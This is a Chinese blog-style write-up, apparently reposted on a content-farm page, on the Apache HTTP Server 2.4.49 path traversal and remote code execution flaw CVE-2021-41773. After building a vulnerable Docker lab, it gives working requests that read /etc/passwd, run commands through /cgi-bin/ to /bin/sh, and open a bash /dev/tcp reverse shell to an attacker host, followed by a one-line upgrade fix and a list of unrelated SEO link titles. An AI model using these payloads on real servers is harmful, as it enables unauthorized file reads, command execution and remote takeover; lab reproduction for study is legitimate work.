当前位置: 首页 > news >正文

近期重大新闻贵阳企业网站排名优化

近期重大新闻,贵阳企业网站排名优化,专业外贸网站建设 诚信 青岛,海南住房和城乡建设厅网站简介: Apache HTTP Server是一个开源、跨平台的Web服务器,它在全球范围内被广泛使用。2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。…

简介: Apache HTTP Server是一个开源、跨平台的Web服务器,它在全球范围内被广泛使用。2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“requireall denied”访问控制参数的保护(默认禁用),则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。

漏洞描述 

在对 Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>,攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。此问题仅影响 Apache 2.4.49,而不影响早期版本。

CVE Record | CVEicon-default.png?t=N7T8https://www.cve.org/CVERecord?id=CVE-2021-41773

指纹:app:“apache web server 2.4.49 2.4.50”

影响版本

Apache HTTP Server 2.4.49

漏洞复现

靶场准备

docker环境搭建:

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写

编辑DockerFile文件内容:

FROM httpd:2.4.49RUN set -ex \&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \&& cat /usr/local/apache2/conf/httpd.conf \| tr '\n' '\r' \| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \| tr '\r' '\n' \| tee /tmp/httpd.conf \&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

执行构建操作: 

docker build -t  httpd:2.4.49rce .

运行docker:

docker run -d -p 85:80 httpd:2.4.49rce

浏览器访问85端口,出现“It works!”说明部署成功:

poc

目录遍历POC:

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

 或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

exp 

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: xx.xx.xx.xx:xx
Content-Type: text/plain
Content-Length: 8echo; id

 curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "xx.xx.xx.xx:xx/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

 反弹shell:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:63275
Content-Type: text/plain
Content-Length: 50echo; bash -c '0<&168-;exec 168<>/dev/tcp/xx.xx.xx.xx/xx;bash <&168 >&168 2>&168'

漏洞修复 

升级Apache HTTP Server到最新版本

http://www.yayakq.cn/news/531066/

相关文章:

  • 如何做好网站建设的设计布局好的网站建设
  • thinkphp网站开发服务网站PC关键词怎么做
  • 辽宁大连网站建设乡镇中心小学校园网站建设指南
  • php怎么做网站程序网店要怎么运营
  • 贵阳公司网站建立网页界面设计与制作书籍
  • 南宁网站怎么做seo成都最新房价一览表
  • 如何选择低价网站建设商业网站推广
  • 浙江省建设厅 网站是多少瑞安网站建设公司
  • 网站上怎么做通栏的图片松江区网站制作与推广
  • 湖北省建设工程造价管理站网站wordpress.org
  • 网站建设费放什么科目wordpress 轮播
  • 景德镇网站建设哪家最好永嘉网站制作公司
  • 帝国和织梦哪个做网站好wordpress忘了后台密码怎么办
  • 龙岗做网站公司androidapp开发教程
  • 宁波网站建设建站怎么做网站建设-应酷
  • 网站建设与设计致谢泰安哪里做网站
  • 网站正在维护模板东昌府企业做网站推广
  • 淘宝直播要先建设个网站吗如何做网站同步别人的商城
  • 网站页面的滑动怎么做的网站建设及推广费用
  • 输入一组基因做网络图的网站中国建设管理信息网站
  • 咨询公司网站源码顶呱呱网站建设
  • 自己做的网站能放到网上么浏览器的网站
  • 网站开发如何避开法律湘潭网站制作
  • 开发建设网站wordpress页面关联目录
  • 办文明网站做文明网民活动方案如何做旅游网站的思维导图
  • 下载网站后台拓者设计吧免费获取注册码
  • 福建省建设工程招投标信息网什么样的网站结构适合做seo
  • 开发高端网站建设有个网站可以学做ppt模板
  • 中国做的比较好的网站有哪些3d建模师未来发展前景
  • 用瀑布流做的美食网站深圳 手机网站建设